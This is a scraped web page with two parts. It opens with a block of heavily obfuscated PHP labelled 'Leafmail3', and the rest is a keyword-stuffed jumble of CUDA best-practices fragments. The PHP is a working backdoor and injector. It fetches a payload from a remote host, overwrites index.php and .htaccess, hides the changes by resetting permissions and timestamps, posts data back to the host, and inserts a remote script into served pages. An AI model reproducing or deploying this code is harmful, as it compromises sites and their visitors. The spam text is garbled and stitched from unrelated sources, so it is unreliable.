<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
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<p><span class="button button--primary">Cuda best practice.  3 AGENDA Peak performance vs. 0 | vii PREFACE What Is This Document? This Best Practices Guide is a manual to help developers obtain the best performance from NVIDIA&reg; CUDA&reg; GPUs.  Aug 29, 2024 · This Best Practices Guide is a manual to help developers obtain the best performance from NVIDIA &reg; CUDA &reg; GPUs.  1.  This post dives into CUDA C++ with a simple, step-by-step parallel programming example.  You switched accounts on another tab or window.  Fig.  Recommendations and Best Practices.  This guide presents methods and best practices for accelerating applications in an incremental, CUDA and OpenCL are examples of extensions to existing programming BEST PRACTICES WHEN BENCHMARKING CUDA APPLICATIONS. com/cuda/cuda-c-best-practices-guide/index. This Best Practices Guide is a manual to help developers obtain the best performance from NVIDIA &reg; CUDA &reg; GPUs.  CUDA C++ Best Practices Guide DG-05603-001_v10.  Recommendations and Best Practices .  Jun 11, 2012 · We&rsquo;ve covered several methods to practice and develop your CUDA programming skills.  Learn using step-by-step instructions, video tutorials and code samples.  Programmers must primarily focus on CUDA Best Practices Guide .  4 AGENDA This Best Practices Guide covers various performance considerations related to deploying networks using TensorRT 8.  Actions CUDA C Best Practices Guide DG-05603-001_v10.  Some good examples could be found from my other post &ldquo;CUDA Kernel Execution Overlap&rdquo;.  注：低优先级：使用移位操作，以避免昂贵的除法和模量计算。 CUDA Best Practices Guide .  pytorch; Share.  Stable performance.  Utilization of an 8-SM GPU when 12 thread blocks with an occupancy of 1 block/SM at a time are launched for execution.  It presents established optimization techniques and explains coding metaphors and idioms that can greatly simplify programming for the CUDA architecture.  but accessing an array is not beneficial at all.  Handling New CUDA Features and Driver APIs 18.  set_target_properties(particles PROPERTIES CUDA_SEPARABLE_COMPILATION ON) Nov 29, 2021 · From the quick google search, there are lots of how to use cuda.  Aug 4, 2020 · This Best Practices Guide is a manual to help developers obtain the best performance from NVIDIA &reg; CUDA &reg; GPUs.  I understand from the Cuda C programming guide, that this this because accesses to constant memory are getting serialized.  18. 0.  To accelerate your applications, you can call functions from drop-in libraries as well as develop custom applications using languages including C, C++, Fortran and Python.  It presents established parallelization and optimization techniques and explains coding metaphors and idioms that can greatly simplify Aug 6, 2021 · Background I have been working with some CUDA development of server-based software (not a desktop app) and I have found that development under Windows is generally more easy than under Ubuntu. 5 of the CUDA Toolkit.  It presents established parallelization and optimization techniques and explains coding metaphors and idioms that can greatly simplify programming for the CUDA architecture. 1. 0 | viii Preface What Is This Document? This Best Practices Guide is a manual to help developers obtain the best performance from NVIDIA&reg; CUDA&reg; GPUs.  Which brings me to the idea that constant memory can be best utilized if a warp accesses a single constant value such as integer, float, double etc. 4 3.  The finished model (composed of one or multiple networks) should be reference in a file with its name (e.  Best practices would be C++11 auto, Template metaprogramming, functors and thrust, Variadic templates, lambda, SFINAE, inheritance, operator overloading, etc.  Division Modulo Operations.  These recommendations are categorized by priority, which is a blend of the effect of the recommendation and its scope.  This is done for two reasons: Dec 20, 2020 · A best practice is to separate the final networks into a separate file (networks. 1 | 3.  Feb 4, 2010 · This Best Practices Guide is a manual to help developers obtain the best performance from the NVIDIA&reg; CUDA&trade; architecture using version 4.  Using the CUDA Toolkit you can accelerate your C or C++ applications by updating the computationally intensive portions of your code to run on GPUs.  But you can use a lot of C++ features. html#memory-optimizations High Priority: Minimize data transfer between 最近因为项目需要，入坑了CUDA，又要开始写很久没碰的C++了。对于CUDA编程以及它所需要的GPU、计算机组成、操作系统等基础知识，我基本上都忘光了，因此也翻了不少教程。这里简单整理一下，给同样有入门需求的&hellip; Oct 1, 2013 · CUDA Fortran for Scientists and Engineers: Best Practices for Efficient CUDA Fortran Programming 1st Edition by Gregory Ruetsch (Author), Massimiliano Fatica (Author) 4. py, losses.  It presents established parallelization and optimization techniques Feb 2, 2020 · The kernel executions on different CUDA streams looks exclusive, but it is not true.  Presented techniques often can be implemented by changing only a few lines of code and can be applied to a wide range of deep learning models across all domains. cuda. 3 ThesearetheprimaryhardwaredifferencesbetweenCPUhostsandGPUdeviceswithrespecttopar-allelprogramming CUDA C Best Practices Guide DG-05603-001_v9.  Reload to refresh your session.  In practice, the kernel executions on different CUDA streams could have overlaps.  It supports the exact same operations, but extends it, so that all tensors sent through a multiprocessing.  You signed out in another tab or window.  The Nsight plugin for Visual Studio seems to be more up to date (latest This Best Practices Guide is a manual to help developers obtain the best performance from NVIDIA &reg; CUDA &reg; GPUs.  This could be a DGX, a cloud instance with multi-gpu options, a high-density GPU HPC instance, etc.  使用CUDA C++将自己的代码作为 a CUDA kernel，在gpu中launch ，得到结果，并且不需要大规模的修改其余的代码. 1 Best practices &para; Device-agnostic As mentioned above, to manually control which GPU a tensor is created on, the best practice is to use a torch. 1 Figure 3.  As beneficial as practice is, it&rsquo;s just a stepping stone toward solid experiences to put on your r&eacute;sum&eacute;.  It presents established parallelization and optimization techniques CUDA C++ Programming Guide &raquo; Contents; v12. py).  Here, each of the N threads that execute VecAdd() performs one pair-wise addition.  CUDA C Best Practices Guide Version 3.  To maximize developer productivity, profile the application to determine hotspots and bottlenecks.  2 AGENDA Peak performance vs. py ) Sep 2, 2023 · 单精度浮点提供了最好的性能，并且高度鼓励使用它们。单个算术运算的吞吐量在CUDA C++编程指南中有详细介绍。 15.  Thread Hierarchy . py, ops.  Heterogeneous Computing include the overhead of transferring data to and from the device in determining whether Nov 28, 2019 · This Best Practices Guide is a manual to help developers obtain the best performance from NVIDIA &reg; CUDA &reg; GPUs. 2 of the CUDA Toolkit. 2 | vii PREFACE What Is This Document? This Best Practices Guide is a manual to help developers obtain the best performance from NVIDIA&reg; CUDA&reg; GPUs.  Best Practices Multi-GPU Machines When choosing between two multi-GPU setups, it is best to pick the one where most GPUs are co-located with one-another. 2 viii Recommendations and Best Practices Throughout this guide, specific recommendations are made regarding the design and implementation of CUDA C code.  You signed in with another tab or window.  Improve this question.  yolov3. device Multiprocessing best practices&para; torch.  Jul 10, 2009 · Best Practices Guide is a manual to help developers obtain the best 